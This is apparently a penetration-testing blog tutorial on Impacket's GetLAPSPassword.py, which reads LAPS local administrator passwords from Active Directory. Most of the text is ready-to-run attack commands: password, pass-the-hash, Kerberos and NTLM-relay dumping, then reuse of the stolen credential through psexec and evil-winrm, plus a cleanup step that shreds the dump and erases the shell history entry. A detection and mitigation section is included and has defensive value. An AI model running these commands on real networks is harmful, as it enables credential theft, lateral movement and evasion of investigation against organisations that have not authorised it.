tools

GetLAPSPassword.py: Recover LAPS Passwords with Impacket

GetLAPSPassword.py: Recover LAPS Passwords with Impacket

Impacket's GetLAPSPassword.py guide for recovering encrypted Legacy LAPS and Windows LAPS passwords from Active Directory with passwords, NTLM hashes, or Kerberos.

  • Posted on 2026-07-27
  • Reading time: 7 min

GetLAPSPassword.py — Reading LAPS Passwords with Impacket #

GetLAPSPassword.py (wrapper: impacket-GetLAPSPassword — casing matters, Linux is case sensitive) is part of Packet and extracts local administrator passwords managed by LAPS directly from LDAP. It doesn't necessarily require Domain Admin: it requires an identity that can read the correct attribute on the computer object—and, for encrypted Windows LAPS passwords, also be authorized to decrypt them.

Official reference: fortra/impacket — GetLAPSPassword.py

Legacy LAPS, Windows LAPS cleartext, and Windows LAPS encrypted — they're not the same thing #

There are three storage variants, not two, and the tool treats them differently:

StorageAttributeDoes the tool process it?
Legacy Microsoft LAPSms-Mcs-AdmPwdYes — plain text
Windows LAPS in clearmsLAPS-PasswordNo — the search filter includes it, but the current code doesn't have a branch that processes it
Windows LAPS encryptedmsLAPS-EncryptedPasswordYes — via DPAPI-NG decryption via MS-GKDI

This is a concrete limitation of the current code, not a hypothesis: the LDAP query searches for objects with any of the three attributes valued, but in the loop that processes the results there is a elif for msLAPS-EncryptedPassword and one for ms-Mcs-AdmPwd — no branch manages msLAPS-Password. A computer running Windows LAPS in the clear may therefore appear in the query but never end up in the output.

Practical consequence: Empty or incomplete output does not automatically mean “no permissions”. It may also mean that that host is using msLAPS-Password and this version of the tool simply can't read it.

Who can read — and who can decipher #

For legacy LAPS and Windows LAPS in plain text , the only barrier is being able to read the LDAP attribute. In many environments, this permission is delegated to larger groups (helpdesk, sysadmin, SOC) than expected—that's where misconfiguration often occurs.

For Windows LAPS encryption , two distinct conditions are needed :

  1. to be able to read msLAPS-EncryptedPassword (LDAP permission)
  2. be authorized to decrypt the blob, according to the security principal configured for encryption (ADPasswordEncryptionPrincipal)

Having the first permission without the second gives you an unreadable encrypted blob, not a password.

Find out who has these permissions with blood hound — the edge is called ReadLAPSPassword and covers both legacy and Windows LAPS attributes. Also AllExtendedRights on a computer object can grant this ability.

bash
# Con nxc — verifica se il tuo utente ha accesso LAPS
nxc ldap 10.10.10.5 -u user -p pass -M laps --options
nxc ldap 10.10.10.5 -u user -p pass -M laps

# Lato difesa/enumerazione più precisa, via PowerShell (Windows LAPS)
Find-LapsADExtendedRights -Identity "OU=Workstations,DC=hackita,DC=local"

# Equivalente per legacy LAPS, con il modulo storico AdmPwd.PS
Find-LAPSDelegatedGroups
Find-AdmPwdExtendedRights

If decryption fails but you want to understand why: the native cmdlet Get-LapsADPassword (when running from a Windows host with PowerShell modules installed) returns metadata even when it fails to decipher — fields like Source, DecryptionStatus and especially AuthorizedDecryptor. This last one tells you for which principal the blob was encrypted: a failed attempt with GetLAPSPassword.py It can then become a new privilege escalation target (compromise that principal, then try again). Impacket doesn't expose this detail—if you need it, the native PowerShell cmdlet is the only way to get it.

Syntax and real options #

bash
impacket-GetLAPSPassword [opzioni] dominio[/utente[:password]]

Note: the positional argument does not include @target like many other Impacket tools — only dominio[/utente[:password]]The LDAP destination is resolved by the domain itself or by -dc-ip/-dc-host.

OptionDescription
-computer NOMERead only the password of a specific host
-ldapsEnable LDAPS — specifically required when querying a Windows Server 2025 DC with LDAPS enforced, not generically for “LAPSv2”
-outputfile FILE / -o FILESave output to file (both forms are aliases)
-hashes LM:NTPass the Hash
-aesKey KEYAES key (128/256 bit) for Kerberos
-kKerberos Authentication
-no-passWith -k, don't ask for password
-dc-ip IPDomain Controller IP
-dc-host HOSTDC Hostname — useful with Kerberos for principal consistency and resolution
-tsTimestamps in logs
-debugDiagnostic output

-ldaps It does not decrypt anything - it only protects the transport #

This is the most common misconception about this tool. -ldaps Encrypt LDAP connection: This is required when the DC (especially Windows Server 2025 with enforcement enabled) or environment policies prevent reading sensitive attributes over an unencrypted LDAP session.

It is not the mechanism that deciphers msLAPS-EncryptedPassword. That decryption goes through a completely different channel: when the tool finds this attribute, it analyzes the DPAPI-NG blob and contacts the service MS-GKDI via DCE/RPC on ncacn_ip_tcp (RPC over TCP, then endpoint mapper on 135 and dynamic ports) to obtain the necessary cryptographic material, then derive the key and decrypt it locally. You need LDAP/LDAPS to read the blob; you need MS-GKDI to open it.

text
Attributo msLAPS-EncryptedPassword trovato
        │
        ▼
Parsing del blob CMS/DPAPI-NG (KeyIdentifier, SID del principal)
        │
        ▼
RPC over TCP verso MS-GKDI (GkdiGetKey, opnum 0) → root key
        │
        ▼
Derivazione KEK → unwrap della CEK → decrittazione AES
        │
        ▼
JSON in chiaro: {"n": "username", "p": "password", "t": timestamp}

For a deeper dive into the MS-GKDI implementation in Python, dpapi-ng by @jborean93 is the direct reference; for DPAPI more generally, dploot by @zblurx — the same author as this tool — also covers related decryption cases.

Practical use #

Base — reads all found LAPS passwords #

bash
impacket-GetLAPSPassword hackita.local/user:Password123 -dc-ip 10.10.10.5

Output:

text
Host        LAPS Username   LAPS Password     LAPS Password Expiration   LAPSv2
----------  -------------   ---------------   ------------------------   ------
WS01$       N/A             K9!mPqR@2vXn8s    2025-02-20 14:52:44        False
WS02$       laps_admin      hp$R/UVbP}6t5r    2025-02-20 14:15:54        True

LAPS Username: N/A for a line with LAPSv2: False This is normal — legacy LAPS does not maintain a separate username, the password is always for the default local Administrator account.

With LDAPS (Windows Server 2025 DC with enforcement) #

bash
impacket-GetLAPSPassword hackita.local/user:Password123 -dc-ip 10.10.10.5 -ldaps

Specific host #

bash
impacket-GetLAPSPassword hackita.local/user:Password123 -dc-ip 10.10.10.5 -computer WS01

Pass the Hash #

bash
impacket-GetLAPSPassword -hashes :NThash hackita.local/user -dc-ip 10.10.10.5

Kerberos, with AES key #

bash
export KRB5CCNAME=/path/to/ticket.ccache

impacket-GetLAPSPassword hackita.local/user \
  -k -no-pass \
  -dc-host dc01.hackita.local \
  -dc-ip 10.10.10.5

# Con chiave AES al posto del ccache/hash
impacket-GetLAPSPassword hackita.local/user \
  -aesKey AES256KeyQui \
  -k \
  -dc-host dc01.hackita.local \
  -dc-ip 10.10.10.5

This is not a “stealth” mode — it is simply Kerberos material alternative to passwords or RC4 hashes.

Save output #

bash
impacket-GetLAPSPassword hackita.local/user:Password123 -dc-ip 10.10.10.5 -o /tmp/laps_dump.txt

Alternatives — other ways to read LAPS #

NetExec #

bash
nxc ldap 10.10.10.5 -u user -p pass -M laps
nxc ldap 10.10.10.5 -u user -p pass -M laps -o COMPUTER=WS01

pyLAPS / LAPSDumper — older Python alternatives #

Before Impacket integrated GetLAPSPassword.py, tools such as LAPSDumper e pyLAPS did the same job from Linux, limited to legacy LAPS (ms-Mcs-AdmPwd). Useful if you need something extremely minimal or want to compare the output, but they don't handle Windows LAPS DPAPI-NG decryption.

ldapsearch manual — reads the blob, not decrypts it #

bash
# Legacy LAPS
ldapsearch -x -H ldap://10.10.10.5 -D "user@hackita.local" -w pass \
  -b "DC=hackita,DC=local" "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd sAMAccountName

# Windows LAPS in chiaro (msLAPS-Password) — quello che GetLAPSPassword.py non elabora
ldapsearch -x -H ldap://10.10.10.5 -D "user@hackita.local" -w pass \
  -b "DC=hackita,DC=local" "(msLAPS-Password=*)" msLAPS-Password msLAPS-PasswordExpirationTime sAMAccountName

# Windows LAPS cifrato — restituisce solo il blob, non la password
ldapsearch -x -H ldaps://10.10.10.5 -D "user@hackita.local" -w pass \
  -b "DC=hackita,DC=local" "(msLAPS-EncryptedPassword=*)" msLAPS-EncryptedPassword sAMAccountName

The third command only proves that your identity can read the encrypted blob—it doesn't convert it to a username and password. That requires the MS-GKDI pass, which only GetLAPSPassword.py (or equivalent tools such as dpapi-ng) automate.

ntlmrelayx — during an active relay #

bash
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-laps --no-dump --no-da --no-acl

It doesn't work "credentialless" in an absolute sense: it uses the victim's relayed NTLM identity. The result depends on the permissions of that specific identity and the ability to relay to LDAP/LDAPS—it's not a universal method for every Windows LAPS configuration.

Using the password you obtained – what to really expect #

The password is a local credential valid for the specific computer— not a guaranteed remote access . Depending on the chosen method, it also serves:

  • remote service enabled and reachable (SMB 445, WinRM, RDP…)
  • correct local account (often not “Administrator”, check the column LAPS Username)
  • remote logon rights for that account
  • No UAC restrictions filtering the remote administrative token

laps_admin it's almost always an account local of the machine, not of the domain — should be treated as such:

bash
# Verifica prima, in modo poco invasivo
nxc smb WS01.hackita.local -u laps_admin -p 'hp$R/UVbP}6t5r' --local-auth

# psexec con contesto locale esplicito (non il dominio!)
impacket-psexec WS01/laps_admin:'hp$R/UVbP}6t5r'@WS01.hackita.local

# evil-winrm
evil-winrm -i WS01.hackita.local -u laps_admin -p 'hp$R/UVbP}6t5r'

Do not reuse the same password on other hosts. The point of LAPS is to have different passwords for each machine — even if the local account name is identical on multiple hosts, test the password WS01 across an entire subnet undermines the security model, generates unnecessary authentication failures, increases noise, and can cause lockouts. The correct workflow remains a one-to-one mapping:

text
WS01 → laps_admin → password A
WS02 → laps_admin → password B
SRV01 → Administrator → password C

From that machine, a memory dump of credentials can reveal domain sessions if someone is logged in—that's the real next step for lateral movement, not reusing the LAPS password itself.

What the tool really gives back #

The query searches for objects computer, so it can include workstations, member servers, domain controllers, and even disabled systems still present in AD—not “all workstations covered by LAPS” as you might think. Windows LAPS can also manage the DSRM password of domain controllers when configured with encryption enabled.

Microsoft also imposes a hard limit of 1000 results for any LDAP search — the tool uses a paginated search to handle this, but on large domains with more than 1000 LAPS-enabled computers, more than one pass may still be necessary.

Network prerequisites #

ScreenwritingRequired ports
Legacy LAPS / Windows LAPS in the clearLDAP 389 or LDAPS 636
Windows LAPS encryptedLDAP/LDAPS more TCP 135 (endpoint mapper) and dynamic RPC ports to MS-GKDI

The tool never uses SMB or named pipes to recover the password — only LDAP/LDAPS and, for the encrypted case, pure RPC.

Common mistakes #

ProblemPossible causeVerifica
No valid entry in LDAPNo items found with any of the three attributesVerify that LAPS is actually distributed
No LAPS data returnedItems found but none processableIt could be msLAPS-Password unprocessed, not necessarily lack of permission
Password does not appear for a host with LAPSv2: True visible elsewhereSeries of different causes, not only "missing" -ldaps"Check if the identity is authorized to decipher, not only to read the attribute
Error contacting MS-GKDIPort 135/Dynamic RPC unreachable, or not authorized for decryptionCheck RPC connectivity to the DC, not just LDAP
LDAP error tied to signingThe DC requires an encrypted session for sensitive attributesAdd -ldaps

Detection and mitigation #

Detection:

  • Monitoring LDAP queries against LAPS attributes (ms-Mcs-AdmPwd, msLAPS-Password, msLAPS-EncryptedPassword)
  • Auditing enabled on LAPS attributes with Set-LapsADAuditing
  • RPC connections to MS-GKDI from unusual sources
  • Correlation between password reading and subsequent local authentication on the same host
  • On Windows Server 2025, the Event ID 3079 reports a lookup on a sensitive attribute blocked because the session was not encrypted — the most specific signal for this scenario
  • Canale Applications and Services Logs\Microsoft\Windows\LAPS\Operational: Event 10041 (authentication successful with managed account) and 10044 (post-authentication rotation) indicate that the account has actually been used, not just read

Mitigations:

  • Delegate ReadLAPSPassword/AllExtendedRights only to really necessary groups, checking periodically with BloodHound
  • Enable Windows LAPS encryption with a ADPasswordEncryptionPrincipal limited
  • Use separate OUs for workstations, servers, and Tier 0
  • Enable post-authentication actions (automatic rotation immediately after use)
  • Maintain the appropriate Domain Functional Level for Windows LAPS encryption features

Cleanup #

GetLAPSPassword.py It's pure read—it doesn't modify anything in AD, so no directory-side cleanup is needed. However, you do need to be careful about what you leave lying around:

bash
shred -u /tmp/laps_dump.txt
unset KRB5CCNAME
history -d "$(history 1 | awk '{print $1}')"

shred It does not guarantee secure deletion on copy-on-write, journaled, SSD, or active snapshot filesystems — it is an operational hygiene level, not a forensic guarantee.

Cheat sheet #

bash
# Base
impacket-GetLAPSPassword hackita.local/user:pass -dc-ip DC_IP

# LDAPS (DC Windows Server 2025 enforced)
impacket-GetLAPSPassword hackita.local/user:pass -dc-ip DC_IP -ldaps

# Host specifico
impacket-GetLAPSPassword hackita.local/user:pass -dc-ip DC_IP -computer WS01

# Pass-the-Hash
impacket-GetLAPSPassword -hashes :NThash hackita.local/user -dc-ip DC_IP

# Kerberos con AES
impacket-GetLAPSPassword hackita.local/user -aesKey AES256KEY -k -dc-host DC01.hackita.local -dc-ip DC_IP

# Salva output
impacket-GetLAPSPassword hackita.local/user:pass -dc-ip DC_IP -o laps.txt

# Alternativa netexec
nxc ldap DC_IP -u user -p pass -M laps

# Alternativa ntlmrelayx (durante relay attivo)
sudo ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-laps --no-dump --no-da --no-acl

# Verifica prima di usare la credenziale (poco invasivo)
nxc smb TARGET -u laps_admin -p 'LAPS_PASSWORD' --local-auth

# Esecuzione remota con contesto locale corretto
impacket-psexec TARGET/laps_admin:'LAPS_PASSWORD'@TARGET

Related Articles #

For use in authorized environments only.

#getlapspassword #impacket #credential-dumping #ldap #kerberos

leave a message

I'm not a robot